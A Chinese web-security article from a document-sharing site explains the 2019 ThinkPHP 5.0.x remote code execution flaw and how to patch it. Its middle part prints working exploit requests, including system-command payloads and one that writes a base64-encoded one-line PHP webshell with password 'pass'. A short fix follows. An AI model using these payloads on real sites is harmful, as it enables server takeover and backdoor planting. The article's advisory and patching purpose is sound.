网站有漏洞怎么修复解决
3页
1、网站漏洞如何修复呢？是否遇到网站首页被篡改被跳转的问题,覆盖了备份文件后正常,然后没过多久就又被篡改了,这是因为网站程序存在漏洞导致的，需要进行全面的程序代码漏洞检测和修复。2019年1月14日消息，thinkphp又被爆出致命漏洞，可以直接远程代码执行，getshell提权写入网站木马到网站根目录，甚至直接提权到服务器，该漏洞影响版本ThinkPHP 5.0、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp 5.0.22版本。攻击者可以伪造远程恶意代码，对服务器进行post提交数据来利用漏洞，该漏洞产生的原因是继上次2019元旦前后爆出的网站漏洞后，又一次的致命漏洞。在thinkphp目录下的library文件夹下的thinkrequest.php代码。如下图所示：从上述代码中可以看出整个代码写的流程，首先打开网站会从app.php代码里将请求的网站地址使用check来进行解析，然后再经过patch类型对其进行深度的赋值.然后可以使用post方式提交数据到_method函数当中去，框架会对进行判
2、断，然后对其调用传入的参数值，经过整个代码的循坏以及传入，就可以导致request的值给覆盖掉，从而产生远程代码执行，我们来构造恶意的代码，看看漏洞是如何使用的。post地址：anquan/public/index.php?s=captchaPOST内容：c=system&f=whoami&_method=filter直接远程提交过去就会执行我们的命令 whoami。查看返回的post数据就可以看到我们要看的信息。在整体的所有版本中测试，thinkphp必须开启debug模式才可以写入webshell，写入的执行代码是：_method=construct&filter=assert&filter=file_put_contents(0.php,_decode(JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF)&server=-1 写入的是一句话木马，连接密码是pass.有些低版本的网站，可以不使用captcha参数也可是执行远程代码，代码如下：_method=_construct&filter=system&met
3、hod=GET&get=whoami_method=_construct&filter=assert&server=phpinfo&get=phpinfo_method=_construct&filter=call_user_func&server=phpinfo&get=phpinfo以上三个都是可以执行远程代码的。关于thinkphp漏洞的修复建议：尽快升级thinkphp到最新版本，有一些网站可能不方便升级，也可以对代码的文件进行修复，漏洞代码是library/think/Request.php对该代码的526行，527行进行添加设置白名单机制，对请求过来的数据，以及接收的数据进行安全限制。if (in_array($method, GET, POST, DELETE, PUT, PATCH) $this-method = $method,网站程序代码的安全很重要，如果网站使用了开源的CMS系统代码，不懂程序技术的话，网站会经常被黑客攻击，如果自己懂程序，那就可以自己针对代码的漏洞进行漏洞修复，不懂的话，就请专业的网站安全公司来完善一下程序上的某些代码漏洞，国内像SINE安全、绿盟安全、启明星辰都是比较专业的安全公司，很多黑客之所以能植入木马病毒，就是抓住了这些网站代码上的漏洞。
《网站有漏洞怎么修复解决》由会员网***分享，可在线阅读，更多相关《网站有漏洞怎么修复解决》请在金锄头文库上搜索。
网站服务器安全设置之Linux系统安全部署
网站安全公司对于网站逻辑漏洞的修复方案分享
解决网站漏洞怎么修复对短信验证码被盗刷该怎么办
服务器被挖矿木马攻击该怎么处理
网站安全检测对获取管理员密码漏洞如何修复
Thinkphp网站漏洞怎么修复解决
ecshop网站漏洞如何修复针对于外贸网站的漏洞修复
如何查找网站木马后门并查杀清除
MetInfo最新网站漏洞如何修复以及网站安全防护
阿里云提示服务器有挖矿程序该如何处理
阿里云提示发现后门(Webshell)文件怎么解决
如何修复网站漏洞对phpmyadmin防止被入侵
struts2架构网站漏洞修复详情与利用漏洞修复方案
网站漏洞渗透检测过程与修复方案
网站漏洞修复方案防止SQL注入攻击漏洞
discuz网站漏洞修复
windows2008阿里云ECS服务器安全设置
网站有漏洞怎么修复解决
阿里云异常网络连接-可疑WebShell通信行为的提示
阿里云服务器网站木马文件提醒该如何解决
基于网络爬虫的XSS漏洞检测方法研究
2024-03-26 33页
入侵检测与安全策略实习报告
2023-07-05 6页
全球国防网络空间情况综述
2023-01-18 51页
sniffer工具的基本使用
2022-10-13 8页
深信服题库pt1-5
2022-08-03 9页
深信服题库PT1-2
2022-08-03 35页
深信服题库pt1-6
2022-08-03 9页
深信服题库pt1-3
2022-08-03 10页
深信服题库pt1-4
2022-08-03 9页
深信服题库pt1-1
2022-08-01 60页